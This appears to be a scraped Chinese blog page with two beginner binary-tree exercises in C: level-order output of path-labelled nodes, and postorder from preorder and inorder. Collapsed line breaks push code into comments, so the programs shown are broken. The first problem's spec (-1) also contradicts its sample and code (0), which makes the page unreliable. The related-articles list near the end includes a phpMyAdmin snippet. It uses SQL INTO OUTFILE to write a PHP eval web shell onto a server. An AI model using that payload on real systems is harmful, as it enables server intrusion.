二叉樹學習——簡單入門題

入門題一:

??? 輸入一顆二叉樹,你的任務是按從上到下、從左到右的順序輸出各個節點的值。每個節點都按照從根節點到它的移動序列給出
(L表示左,R表示右)。在輸入中,每個節點的左括號和右括號之間沒有空格,相鄰節點之間用一個空格隔開。每顆樹的輸入用一
對空括號()結束(這對空括號不代表節點)
?? ?注意,如果從根到某個葉節點的路徑上有的節點沒有在輸入中給出,或者給出了超出一次,應到輸出 -1 。節點個數不超過256。

樣例輸入:
?? ?(11,LL) (7,LLL) (8,R) (5,) (4,L) (13,RL) (2,LLR) (1,RRR) (4,RR) ()
?? ?(3,L) (4,R) ()
樣例輸出:
?? ?5 4 8 11 13 4 7 2 1
?? ?0

#include "stdio.h"
#include "stdlib.h"
#include "string.h"
#define maxn 256char buf[maxn];	//保存讀入節點
int failed;
int n=0,ans[maxn];	//節點個數和輸出序列 typedef struct Tnode{int have_value;	//是有賦過值 int v;			//節點值 struct Tnode *left,*right;
}Node;
Node *root;	//二叉樹的根節點 Node* newnode()
{Node *tmp=(Node*)malloc(sizeof(Node));if(tmp!=NULL){tmp->have_value=0;		//顯示的初始化為0,因為malloc申請內存時并不把它清零tmp->left=tmp->right=NULL; }return tmp;	
}void addnode(int value,char *s)
{int length=strlen(s);Node *tmp=root;for(int i=0;i<length;i++){	//索引對應的位置 if('L'==s[i]){if(NULL==tmp->left) tmp->left=newnode();tmp=tmp->left;}else if('R'==s[i]){if(NULL==tmp->right) tmp->right=newnode();tmp=tmp->right;}		}if(tmp->have_value) failed=1;	//已經賦過值表明輸入有誤 tmp->v=value;	tmp->have_value=1;
}int read_input()
{failed=0;root=newnode();for(;;){if(scanf("%s",buf)!=1) return 0;	//整個輸入結束if(!strcmp(buf,"()")) break;int v;sscanf(&buf[1],"%d",&v);	//讀入節點的值addnode(v,strchr(buf,',')+1); }return 1;
} /*  BFS,Breadth-Firsh Search  寬度優先遍歷 */ 
int bfs()
{int front=0,rear=1;Node* q[maxn];q[0]=root;while(front<rear){Node* tmp=q[front++];if(tmp->have_value==0) return 0;ans[n++]=tmp->v;if(NULL != tmp->left)  q[rear++]=tmp->left;if(NULL != tmp->right) q[rear++]=tmp->right;}return 1;
}void remove_tree(Node* u)
{if(NULL==u) return ;remove_tree(u->left);remove_tree(u->right);free(u);
}int main()
{read_input();if(bfs() && !failed){for(int i=0;i<n;i++){printf("%d ",ans[i]);}}else{printf("0\n");}return 0;
} 


入門題二:

輸入一顆二叉樹的先序遍歷和中序遍歷,輸出它的后序遍歷序列。
樣例輸入:
?? ??? ?DBACEGF ABCDEFG
?? ??? ?BCAD CBAD
樣例輸出:
?? ??? ?ACBFGED
?? ??? ?CDAB?

#include "stdio.h"
#include "string.h"
#define maxn 20
char preorder[maxn],inorder[maxn],postOrder[maxn]; 		//先序、中序 和后序 //n樹的節點個數,pre前序,in中序,post后序 
void build(int n,char *pre,char *in,char *post)
{if(n<=0) return;int x=strchr(in,pre[0])-in;		//找到根節點在中序遍歷中的位置 build(x,pre+1,in,post);			//遞歸構造左子樹的后序遍歷 build(n-x-1,pre+x+1,in+x+1,post+x);		//遞歸構造右子樹的后序遍歷 post[n-1]=pre[0];	//根節點添加到最后 
}int main()
{while(scanf("%s%s",preorder,inorder)==2){int n=strlen(preorder);build(n,preorder,inorder,postOrder); postOrder[n]='\0';printf("%s\n",postOrder);		} return 0;
} 



本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/373921.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/373921.shtml
英文地址,請注明出處:http://en.pswp.cn/news/373921.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

java8-4 多態的練習以及題目

1、/* 多態練習&#xff1a;貓狗案例*/ 1 class Animal {2 public void eat(){3 System.out.println("吃飯");4 }5 }6 7 class Dog extends Animal {8 public void eat() {9 System.out.println("狗吃肉"); 10 } 11 12 public void lookDoor() { 13 Syste…

一個簡單的socket通信小demo

寫了一個socket的程序&#xff0c;可以和本地的服務器進行通信&#xff0c;要先和服務器建立鏈接&#xff0c;然后發送登錄信息&#xff0c;驗證成功&#xff0c;就可以和服務器通信了 1 頁面截圖 2 點擊鏈接服務器&#xff0c;可以鏈接服務器&#xff0c;服務器的ip地址為&…

Java并發教程– CountDownLatch

Java中的某些并發實用程序自然會比其他并發實用程序受到更多關注&#xff0c;因為它們可以解決通用問題而不是更具體的問題。 我們大多數人經常遇到執行程序服務和并發集合之類的事情。 其他實用程序不太常見&#xff0c;因此有時它們可??能會使我們逃脫&#xff0c;但是請記…

漢儀尚巍手書可以商用嗎_【商用車維修】夏天修空調可以撐起全年修車收入的一半,你會了嗎?...

更多精彩&#xff0c;請點擊上方藍字關注我們&#xff01;車載空調是炎熱的季節必不可少的利器&#xff0c;但用得多&#xff0c;毛病也多了起來&#xff0c;今天和大家分享一些空調系統的相關知識&#xff0c;助力修車師傅們來應對空調系統的相關故障問題。如何判斷制冷系統的…

CSDN編程挑戰——《-3+1》

-31 題目詳情: 有一個數列&#xff0c;所有的數都是非負整數&#xff0c;你可以進行如下方式進行一次操作&#xff08;注意一次完整的操作必須先后完成如下兩個步驟&#xff09;&#xff1a; &#xff08;1&#xff09; 任選一個不小于3的數&#xff0c;把它減少3。 &#xff…

游戲感悟

1.所謂游戲平衡&#xff0c;就是指玩家沒有最優解。 2.所謂公司的文化&#xff0c;就是指員工被公司洗腦的那些觀點(認知)。 3.人是能動的&#xff0c;擺脫平庸。轉載于:https://www.cnblogs.com/yangzhou33/p/5074509.html

Git 簡單使用

1.Git是什么 簡介&#xff1a;Git是 Linux 之父 Linus Trovalds&#xff0c;為管理 Linux 內核代碼而建立的&#xff0c;被認為是分布式版本控制工具中的頂級水準。智能、友好、強健、高效。 作用&#xff1a;新建一個分支&#xff0c;把服務器上最新版的代碼fetch下來&#x…

Vaadin附加組件和Maven

介紹 我喜歡Vaadin的 &#xff08;眾多&#xff09;一件事是它對Vaadin框架的“附加組件”社區-他們稱之為Vaadin目錄 。 “附加組件”是框架中社區貢獻的附加組件&#xff0c;可以是任何東西&#xff0c;例如從新的客戶端小部件到數據表的延遲加載容器。 我肯定會為Activiti看…

八皇后時間復雜度_【算法打卡】N皇后

難度&#xff1a;困難題目&#xff1a;n 皇后問題研究的是如何將 n 個皇后放置在 nn 的棋盤上&#xff0c;并且使皇后彼此之間不能相互攻擊。上圖為 8 皇后問題的一種解法。給定一個整數 n&#xff0c;返回 n 皇后不同的解決方案的數量。提示&#xff1a;皇后&#xff0c;是國際…

Android-Binder 簡析

前言 對于Android來說&#xff0c;Binder的重要性怎么說都不為過。不管是我們的四大組件Activity、Service、BroadcastReceiver、ContentProvider&#xff0c;還是經常在應用中使用到的各種ServiceManager&#xff0c;其背后都是Binder在支撐。然而Binder機制又不是三言兩語能夠…

CSDN編程挑戰——《進制轉換》

進制轉換 題目詳情: 我們通常用的十進制數包含0-9十個數字。假設有一種進制系統包含3種數字&#xff0c;從低到高分別為"oF8”&#xff0c;那么從1到9分別表示為F, 8, Fo, FF, F8, 8o, 8F, 88, Foo, FoF。給定一種進制的數和兩種進制的數字表&#xff0c;請把它從第一種進…

tplink 703刷固件

1.軟件下載: ImageBuilder鏈接 如果是全新刷機的話,使用:http://downloads.openwrt.org/snapshots/trunk/ar71xx/generic/openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin 如果是系統升級的話,使用:http://downloads.openwrt.org/snapshots/trunk/ar71xx/generic/op…

編程反模式

您是否曾經進行過代碼審查&#xff0c;記錄了非常高的WTF / m&#xff1f; 您是否想知道所有這些錯誤代碼的原因是什么&#xff1f; 在大多數情況下&#xff0c;導致原因1的主要原因是使用設計和編碼反模式。 如果您喜歡定義&#xff0c;請參見以下內容&#xff1a;AntiPatter…

python概率密度函數參數估計_EM算法求高斯混合模型參數估計——Python實現

#coding:gbkimport mathimport copyimport numpy as npimport matplotlib.pyplot as pltisdebug False# 指定k個高斯分布參數&#xff0c;這里指定k2。注意2個高斯分布具有相同均方差Sigma&#xff0c;分別為Mu1,Mu2。def ini_data(Sigma,Mu1,Mu2,k,N):global Xglobal Mugloba…

phpmyadmin 各種技巧拿 webshell

site.com/phpMyAdminsite.com/sqlD:\wamp\www賬號還有密碼root 密碼第一種CREATE TABLE mysql.darkmoon (darkmoon1 TEXT NOT NULL );INSERT INTO mysql.darkmoon (darkmoon1 ) VALUES (<?php eval($_POST[pass]);?>);SELECT darkmoon1 FROM darkmoon INTO OUTFILE d:/…

Finally語句塊的執行

一、finally語句塊是否一定執行&#xff1f; Java中異常捕獲機制try...catch...finally塊中的finally語句是不是一定會被執行&#xff1f;很多人都說不是&#xff0c;當然他們的回答是正確的&#xff0c;經過試驗&#xff0c;至少以下有兩種情況下finally語句是不會被執行的&am…

面向對象 封裝 集成 特性

訪問修飾符&#xff1a;pubulc:公共的&#xff0c;只要引用了命名空間&#xff0c;就可以隨意進行訪問 private:私有的&#xff0c;只有當前類內部才可以訪問 internal&#xff1a;內部的&#xff0c;當前程序集內可以訪問&#xff0c;程序集就是命名空間&#xff0c;此修飾符是…

sql 插入text字段包含特殊字符_Kettle(PDI)轉換中輸出之插入/更新詳解

概述Insert / update(插入 / 更新)此步驟首先使用一個或多個查詢關鍵字查找表中的一行。如果找不到該行&#xff0c;則插入該行。如果可以找到它&#xff0c;并且要更新的字段相同&#xff0c;則不執行任何操作。如果它們不完全相同&#xff0c;則更新表中的行。注意&#xff1…

使用Java發送電子郵件

我開始使用Java作為簡單的“如何發送電子郵件”來撰寫這篇文章&#xff0c;但是后來我發現我需要簡要解釋更多事情。 因此&#xff0c;這是有關使用Java發送電子郵件的所有摘要。 在Java SE平臺之外&#xff08;但包含在JavaEE中&#xff09;&#xff0c; JavaMail軟件包提供了…

一張圖讓你看清Java集合類(Java集合類的總結)

如今關于Java集合類的文章非常多&#xff0c;可是我近期看到一個非常有意思圖片&#xff0c;基本上把Java集合的整體框架都給展現出來了。非常直觀。 假設發現圖片看不清楚。點此處看大圖 在這里&#xff0c;集合類分為了Map和Collection兩個大的類別。 處于圖片左上角的那一塊…